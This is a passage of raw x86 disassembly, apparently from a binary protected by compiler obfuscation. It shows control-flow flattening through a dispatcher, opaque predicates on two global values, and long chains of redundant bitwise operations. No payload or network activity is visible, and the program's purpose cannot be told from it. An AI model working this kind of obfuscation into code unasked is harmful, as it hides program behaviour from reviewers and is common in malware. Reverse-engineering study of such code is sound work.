mov byte [ebp - 0xb02], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xb01], al
mov al, byte [ebp - 0xb02]
and cl, dh
or ah, al
mov al, byte [ebp - 0xb01]
or al, cl
mov cl, byte [ebp - 0xb00]
xor ah, al
mov al, byte [ebp - 0xaff]
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or ah, dl
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or bl, ch
or dl, ah
xor bl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xafe], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0xafe]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x634a7119
mov ecx, 0x6053d8e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0x128]
mov esi, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0x3788138c
mov ecx, 0xffffffff
xor ecx, 0x3788138c
mov edi, ecx
and edi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x3788138c
and ecx, 0xffffffff
or edx, edi
or eax, ecx
xor edx, eax
mov ecx, 0xffffffff
xor ecx, 0x4caf5a49
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x5eca430d
or ecx, edx
or eax, 0x5eca430d
xor ecx, 0xffffffff
and ecx, eax
mov edi, 0xffffffff
xor edi, 0x4caf5a49
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x4caf5a49
or edi, eax
mov eax, 0xffffffff
xor eax, 0x40000000
mov ebx, edi
xor ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6f798d22
or eax, ebx
or edx, 0x6f798d22
xor eax, 0xffffffff
and eax, edx
mov dword [ebp - 0xb64], eax
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or ebx, eax
mov eax, 0xffffffff
xor eax, 0x4caf5a49
mov edx, ebx
xor edx, eax
mov eax, dword [ebp - 0xb64]
and edx, ebx
mov dword [ebp - 0xb4c], edx
xor edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
xor eax, 0xffffffff
mov dword [ebp - 0xb50], eax
mov ebx, 0xffffffff
xor ebx, 0x885ca492
mov eax, edx
and eax, 0x885ca492
mov dword [ebp - 0xb60], eax
mov eax, dword [ebp - 0xb50]
and ecx, ebx
and eax, 0x885ca492
mov dword [ebp - 0xb58], eax
mov eax, dword [ebp - 0xb64]
and eax, ebx
mov dword [ebp - 0xb5c], eax
mov eax, dword [ebp - 0xb60]
or eax, ecx
mov ecx, dword [ebp - 0xb5c]
mov dword [ebp - 0xb54], eax
mov eax, dword [ebp - 0xb58]
or eax, ecx
mov ecx, dword [ebp - 0xb54]
xor ecx, eax
mov eax, dword [ebp - 0xb50]
or edx, eax
mov eax, dword [ebp - 0xb4c]
xor edx, 0xffffffff
or ebx, 0x885ca492
and edx, ebx
or ecx, edx
mov edx, eax
and edx, edi
xor eax, edi
or edx, eax
mov edi, ecx
xor edi, 0xffffffff
mov eax, edx
and eax, edi
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov dword [ebp - 0xb40], eax
mov edx, esi
xor edx, 0xffffffff
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
mov eax, esi
and eax, ecx
or edx, eax
xor edx, 0xffffffff
xor edx, 0x9cb58cdf
and edx, 0x9cb58cdf
mov edi, 0xffffffff
xor edi, 0x9cb58cdf
and edi, 0x59fb7172
mov ebx, 0xffffffff
xor ebx, 0x59fb7172
mov eax, ebx
and eax, 0x9cb58cdf
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x59fb7172
and ebx, 0xffffffff
or edi, eax
mov eax, dword [ebp - 0xb40]
or ecx, ebx
xor edi, ecx
mov dword [ebp - 0xb34], edi
mov ebx, esi
xor ebx, 0xffffffff
xor edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x6336542c
or ebx, edi
or ecx, 0x6336542c
xor ebx, 0xffffffff
and ebx, ecx
mov edi, eax
xor edi, 0xffffffff
and edi, 0x52e6c4bc
mov ecx, 0xffffffff
xor ecx, 0x52e6c4bc
and eax, ecx
mov dword [ebp - 0xb48], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x52e6c4bc
mov dword [ebp - 0xb44], eax
mov eax, dword [ebp - 0xb48]
and ecx, 0xffffffff
or edi, eax
mov eax, dword [ebp - 0xb44]
or eax, ecx
mov ecx, dword [ebp - 0xb40]
xor edi, eax
xor edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x9cb58cdf
mov dword [ebp - 0xb3c], eax
mov eax, 0xffffffff
xor eax, 0x82978014
mov dword [ebp - 0xb38], eax
mov eax, dword [ebp - 0xb3c]
or edi, eax
mov eax, dword [ebp - 0xb38]
or eax, 0x82978014
xor edi, 0xffffffff
and edi, eax
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0xb30], edi
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xbbae52da
or ecx, eax
mov eax, dword [ebp - 0xb30]
or edi, 0xbbae52da
xor ecx, 0xffffffff
and ecx, edi
mov edi, edx
and edi, ebx
xor edx, ebx
or edi, edx
mov edx, eax
and edx, ecx
xor eax, ecx
or edx, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0xa351edeb
mov ebx, 0xffffffff
xor ebx, 0xa351edeb
and edi, ebx
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xa351edeb
and edx, ebx
or eax, edi
or ecx, edx
xor eax, ecx
mov ebx, eax
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or ebx, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xbf35bbd4
mov edx, 0xffffffff
xor edx, 0xbf35bbd4
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xbf35bbd4
and edx, 0xffffffff
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x7e1e49f1
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x7e1e49f1
or ecx, edx
mov dword [ebp - 0xb24], ecx
mov edx, ebx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x94fd0ee6
mov ecx, edx
and ecx, 0x94fd0ee6
and ebx, esi
mov dword [ebp - 0xb2c], ebx
mov ebx, edi
and ebx, 0x94fd0ee6
and eax, esi
mov dword [ebp - 0xb28], eax
mov eax, dword [ebp - 0xb2c]
or ecx, eax
mov eax, dword [ebp - 0xb28]
or ebx, eax
mov eax, dword [ebp - 0xb24]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x94fd0ee6
and edx, esi
or ecx, edx
mov dword [ebp - 0xb18], ecx
mov ecx, 0xffffffff
xor ecx, 0x7e1e49f1
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x99fdb8a9
mov edx, ecx
and edx, 0x99fdb8a9
mov ebx, esi
and ebx, 0x7e1e49f1
mov dword [ebp - 0xb20], ebx
mov ebx, edi
and ebx, 0x99fdb8a9
and eax, esi
mov dword [ebp - 0xb1c], eax
mov eax, dword [ebp - 0xb20]
or edx, eax
mov eax, dword [ebp - 0xb1c]
or ebx, eax
mov eax, dword [ebp - 0xb18]
xor edx, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0x99fdb8a9
and ecx, esi
or edx, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x1a8], 0x73d363b1
jmp 0x43690c
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [0x511348]
mov ecx, dword [0x511344]
mov esi, 0xd482ba55
add esi, 0
sub esi, 0x465ecc32
sub esi, 0xd482ba55
mov edx, eax
sub edx, 0x34349931
add edx, esi
add edx, 0x34349931
xor edi, edi
sub edi, 0xed90b6aa
sub edi, 1
add edi, 0xed90b6aa
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xde103d78
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x1c45e0cb
add edx, 0x465ecc32
add edx, 0x1c45e0cb
sub edx, 0x9b5948bd
sub edx, 0xde103d78
add edx, 0x9b5948bd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0xbd0], al
cmp ecx, 0xa
setl ch
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or ah, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, 1
xor cl, 1
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, cl
and ah, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0xbd2], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xbd1], al
mov al, byte [ebp - 0xbd2]
or ah, al
mov al, byte [ebp - 0xbd1]
or bh, al
mov al, byte [ebp - 0xbd0]
xor ah, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ah, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or dh, cl
mov cl, 1
xor cl, 0
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov bl, 1
xor bl, 0
and bl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 0
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or bl, bh
or ah, dh
xor bl, ah
xor al, 0xff
mov dh, bl
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov byte [ebp - 0xbcf], al
mov dh, ch
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
mov al, ch
and al, bh
mov ah, 1
xor ah, 1
and ah, 0xff
and bh, 1
or dh, al
mov al, byte [ebp - 0xbcf]
or ah, bh
xor dh, ah
mov bh, 1
xor bh, 0
mov ah, dh
xor ah, bh
and ah, dh
xor ch, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xbcd], bh
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and bh, 0
mov byte [ebp - 0xbce], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xbcc], al
mov al, byte [ebp - 0xbce]
or al, cl
mov cl, byte [ebp - 0xbcd]
mov byte [ebp - 0xbcb], al
mov al, byte [ebp - 0xbcc]
or bh, al
mov al, byte [ebp - 0xbcb]
xor al, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, ch
xor cl, 0xff
and al, cl
or ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf01e3adc
mov ecx, 0x922081e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov dword [ebp - 0x1a8], 0xc82c93e6
jmp 0x43690c
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
xor esi, esi
sub esi, 0x318d7f30
add esi, 0
mov edx, ecx
add edx, 0xf65a195b
add edx, esi
sub edx, 0xf65a195b
sub edx, 0xf019fc18
sub edx, 0x61520283
add edx, 0xf019fc18
add edx, 0x7070fbbf
sub edx, 1
sub edx, 0x7070fbbf
sub edx, 0xb36c5c60
add edx, 0x61520283
add edx, 0xb36c5c60
mov esi, 0x9af92f54
add esi, 0
sub esi, edx
sub esi, 0x9af92f54
mov edx, 0x7213b50f
add edx, 0
sub edx, 0x318d7f30
sub edx, 0x7213b50f
sub esi, 0x94325090
add esi, edx
add esi, 0x94325090
mov edx, 0xcc7bc629
add edx, 0
sub edx, esi
sub edx, 0xcc7bc629
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or ch, al
mov ah, cl
xor ah, 0xff
mov al, ch
and al, ah
xor ch, 0xff
mov ah, cl
and ah, ch
or al, ah
mov ch, cl
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or dh, al
mov al, dl
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and dl, dh
or ch, dl
xor ch, 0xff
mov dl, cl
xor dl, ch
and dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov bl, ah
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
mov ch, ah
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bl, ch
or al, dl
xor bl, al
mov byte [ebp - 0xbd4], bl
mov dl, cl
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
mov dh, cl
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dl, dh
or al, ch
xor dl, al
mov byte [ebp - 0xbd5], dl
mov bh, 1
xor bh, 0
and bh, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 0
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or bh, dh
or al, ch
xor bh, al
xor bl, 0xff
mov ch, 1
xor ch, 0
mov al, 1
xor al, 1
or bl, ch
or al, 1
xor bl, 0xff
and bl, al
mov ch, bh
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
xor dl, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0xbd8], dl
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov ch, dl
and ch, 0
and bl, ah
mov byte [ebp - 0xbda], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0xbd9], al
mov al, byte [ebp - 0xbda]
or ch, al
mov al, byte [ebp - 0xbd9]
or bl, al
mov al, byte [ebp - 0xbd8]
xor ch, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or ch, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, dl
and ah, 0
and al, dh
mov byte [ebp - 0xbd7], al
mov al, bl
and al, 0
mov byte [ebp - 0xbd6], al
mov al, byte [ebp - 0xbd7]
and cl, dh
or ah, al
mov al, byte [ebp - 0xbd6]
or al, cl
mov cl, byte [ebp - 0xbd5]
xor ah, al
mov al, byte [ebp - 0xbd4]
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ah, dl
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or bl, ch
or dl, ah
xor bl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0xbd3], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
and cl, 0
mov al, dl
and al, 0
mov ch, ah
and ch, 0
and bh, dl
or cl, al
mov al, byte [ebp - 0xbd3]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x44ad6f52
mov ecx, 0x9f86928e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0x20
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
xor esi, esi
sub esi, 0x8accaaf9
sub esi, ecx
add esi, 0x8accaaf9
mov edx, 0x7717f34d
add edx, 0
sub edx, 0x76cdaca5
sub edx, 0x7717f34d
add esi, 0xb36ad231
add esi, edx
sub esi, 0xb36ad231
mov edx, 0x2c5042e1
add edx, 0
sub edx, esi
sub edx, 0x2c5042e1
xor esi, esi
sub esi, 0x3d1a8cb9
sub esi, 1
add esi, 0x3d1a8cb9
add edx, 0x5102e4c9
add edx, esi
sub edx, 0x5102e4c9
sub edx, 0x1a8d6e1f
sub edx, 0x8f8064ba
add edx, 0x1a8d6e1f
xor esi, esi
sub esi, 0x76cdaca5
add edx, esi
sub edx, 0x4c49bb02
add edx, 0x8f8064ba
add edx, 0x4c49bb02
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl bh
mov byte [ebp - 0xc06], bh
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov cl, 1
xor cl, 0
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov al, ch
xor al, 0xff
mov dh, dl
xor dh, al
and dh, dl
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
xor al, 0xff
mov bl, 1
xor bl, 0
mov ah, 1
xor ah, 1
or al, bl
or ah, 1
xor al, 0xff
and al, ah
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov ah, cl
and ah, dh
xor cl, dh
or ah, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and ah, ch
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ch
or dh, ah
or al, cl
xor dh, al
mov al, bh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, bh
and cl, ah
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, bl
or cl, ch
xor ah, cl
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or bh, ah
or cl, 0
xor bh, 0xff
and bh, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xc19], ch
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and al, cl
mov bl, ah
and bl, 0
and bh, cl
or ch, al
mov al, byte [ebp - 0xc19]
or bl, bh
xor ch, bl
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov al, 1
xor al, 1
and al, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, bl
or cl, ah
xor al, cl
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0xc16], al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov cl, 1
xor cl, 1
mov bl, ah
xor bl, 0xff
mov al, 1
xor al, 1
or cl, bl
or al, 1
xor cl, 0xff
and cl, al
mov bh, 1
xor bh, 1
and bh, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 1
mov byte [ebp - 0xc18], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xc17], al
mov al, byte [ebp - 0xc18]
and bl, 1
or bh, al
mov al, byte [ebp - 0xc17]
or al, bl
xor bh, al
mov al, 1
xor al, 0
mov bl, bh
xor bl, al
mov al, byte [ebp - 0xc16]
and bl, bh
mov byte [ebp - 0xc11], bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov byte [ebp - 0xc13], ah
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0xc12], ah
mov bh, 1
xor bh, 0
mov ah, bl
and ah, 0
and al, bh
mov byte [ebp - 0xc15], al
mov al, byte [ebp - 0xc12]
and al, 0
mov byte [ebp - 0xc14], al
mov al, byte [ebp - 0xc15]
and cl, bh
or ah, al
mov al, byte [ebp - 0xc14]
or al, cl
mov cl, byte [ebp - 0xc13]
xor ah, al
mov al, byte [ebp - 0xc12]
or bl, al
mov al, byte [ebp - 0xc11]
xor bl, 0xff
or bh, 0
and bl, bh
or ah, bl
mov byte [ebp - 0xc0e], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xc0d], ah
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and ah, 0xff
and al, bl
mov byte [ebp - 0xc10], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xc0f], al
mov al, byte [ebp - 0xc10]
and cl, bl
or ah, al
mov al, byte [ebp - 0xc0f]
or al, cl
mov cl, byte [ebp - 0xc0e]
xor ah, al
mov al, byte [ebp - 0xc0d]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or ah, al
mov bl, cl
xor bl, 0xff
mov al, ah
and al, bl
xor ah, 0xff
and cl, ah
or al, cl
mov byte [ebp - 0xbde], al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dh
and cl, ah
or al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
mov bl, 1
xor bl, 0
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
or bl, ah
mov byte [ebp - 0xc0c], bl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, 1
xor al, 0
mov byte [ebp - 0xc07], al
xor bl, 0xff
mov bh, 1
xor bh, 1
and al, 0xff
mov byte [ebp - 0xc0b], al
mov cl, bh
and cl, 0
mov al, bl
and al, 0xff
mov byte [ebp - 0xc09], al
mov al, byte [ebp - 0xc0c]
and al, bh
mov byte [ebp - 0xc0a], al
mov al, byte [ebp - 0xc0b]
or al, cl
mov cl, byte [ebp - 0xc0a]
mov byte [ebp - 0xc08], al
mov al, byte [ebp - 0xc09]
or al, cl
mov cl, byte [ebp - 0xc08]
xor cl, al
mov al, byte [ebp - 0xc07]
or al, bl
mov bl, byte [ebp - 0xbde]
xor al, 0xff
or bh, 1
and al, bh
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and ah, bh
or al, ah
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov ah, bl
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
and bl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, bl
or al, cl
xor ah, al
mov bl, dl
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov byte [ebp - 0xc05], cl
mov al, dl
and al, cl
mov cl, byte [ebp - 0xc06]
mov byte [ebp - 0xc04], al
mov al, ah
xor al, 0xff
and al, 0
mov byte [ebp - 0xc03], al
mov al, byte [ebp - 0xc05]
and ah, al
mov al, byte [ebp - 0xc04]
or bl, al
mov al, byte [ebp - 0xc03]
or al, ah
xor bl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov dl, 1
xor dl, 1
and dl, 0
mov ah, 1
xor ah, 0
mov al, ah
and al, 1
mov byte [ebp - 0xc02], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xc01], al
mov al, byte [ebp - 0xc02]
and ah, 1
or dl, al
mov al, byte [ebp - 0xc01]
or al, ah
xor dl, al
mov al, ch
xor al, 0xff
mov ah, dl
and ah, al
xor dl, 0xff
mov al, ch
and al, dl
or ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, al
mov al, byte [ebp - 0xbde]
and dl, ah
mov byte [ebp - 0xbfa], dl
mov ah, al
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
and al, dl
mov byte [ebp - 0xc00], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xbff], al
mov al, byte [ebp - 0xc00]
and dl, 1
or ah, al
mov al, byte [ebp - 0xbff]
or al, dl
xor ah, al
mov dl, cl
xor dl, 0xff
mov al, ah
and al, dl
xor ah, 0xff
mov dl, cl
and dl, ah
or al, dl
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, bl
xor cl, 0xff
mov al, bh
xor al, cl
and al, bh
mov byte [ebp - 0xbfe], al
mov cl, bh
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
and bh, al
mov dl, bl
xor dl, 0xff
and dl, 0xff
and bl, al
mov al, byte [ebp - 0xbfe]
or cl, bh
or dl, bl
xor cl, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xbfb], dl
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and dl, 0
and al, bl
mov byte [ebp - 0xbfd], al
mov al, bh
and al, 0
mov byte [ebp - 0xbfc], al
mov al, byte [ebp - 0xbfd]
and cl, bl
or dl, al
mov al, byte [ebp - 0xbfc]
or al, cl
mov cl, byte [ebp - 0xbfb]
xor dl, al
mov al, byte [ebp - 0xbfa]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and al, bh
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or cl, al
mov al, byte [ebp - 0xbfa]
or bl, bh
xor cl, bl
mov byte [ebp - 0xbf5], cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
mov bh, ah
and bh, bl
mov bl, byte [ebp - 0xbf5]
or cl, bh
mov byte [ebp - 0xbf9], cl
mov cl, 1
xor cl, 0
and cl, 1
mov bh, 1
xor bh, 1
and bh, 0
or cl, bh
mov byte [ebp - 0xbf2], cl
mov cl, 1
xor cl, 0
mov bh, bl
xor bh, cl
mov cl, byte [ebp - 0xbf2]
and bh, bl
xor al, 0xff
xor cl, 0xff
mov bl, 1
xor bl, 0
or al, cl
mov cl, byte [ebp - 0xbf9]
or bl, 0
xor al, 0xff
and al, bl
mov byte [ebp - 0xbf8], al
mov al, 1
xor al, 0
mov bl, cl
xor bl, al
mov al, byte [ebp - 0xbf2]
and bl, cl
mov byte [ebp - 0xbf7], bl
xor ah, 0xff
xor al, 0xff
mov bl, 1
xor bl, 1
or ah, al
mov al, byte [ebp - 0xbf8]
or bl, 1
xor ah, 0xff
and ah, bl
mov bl, bh
and bl, al
xor bh, al
mov al, byte [ebp - 0xbf7]
or bl, bh
mov bh, al
and bh, ah
xor al, ah
or bh, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and bl, al
mov byte [ebp - 0xbf6], bl
mov bl, bh
xor bl, 0xff
and bl, 0xff
and bh, al
mov al, byte [ebp - 0xbf6]
or ah, al
mov al, byte [ebp - 0xbf5]
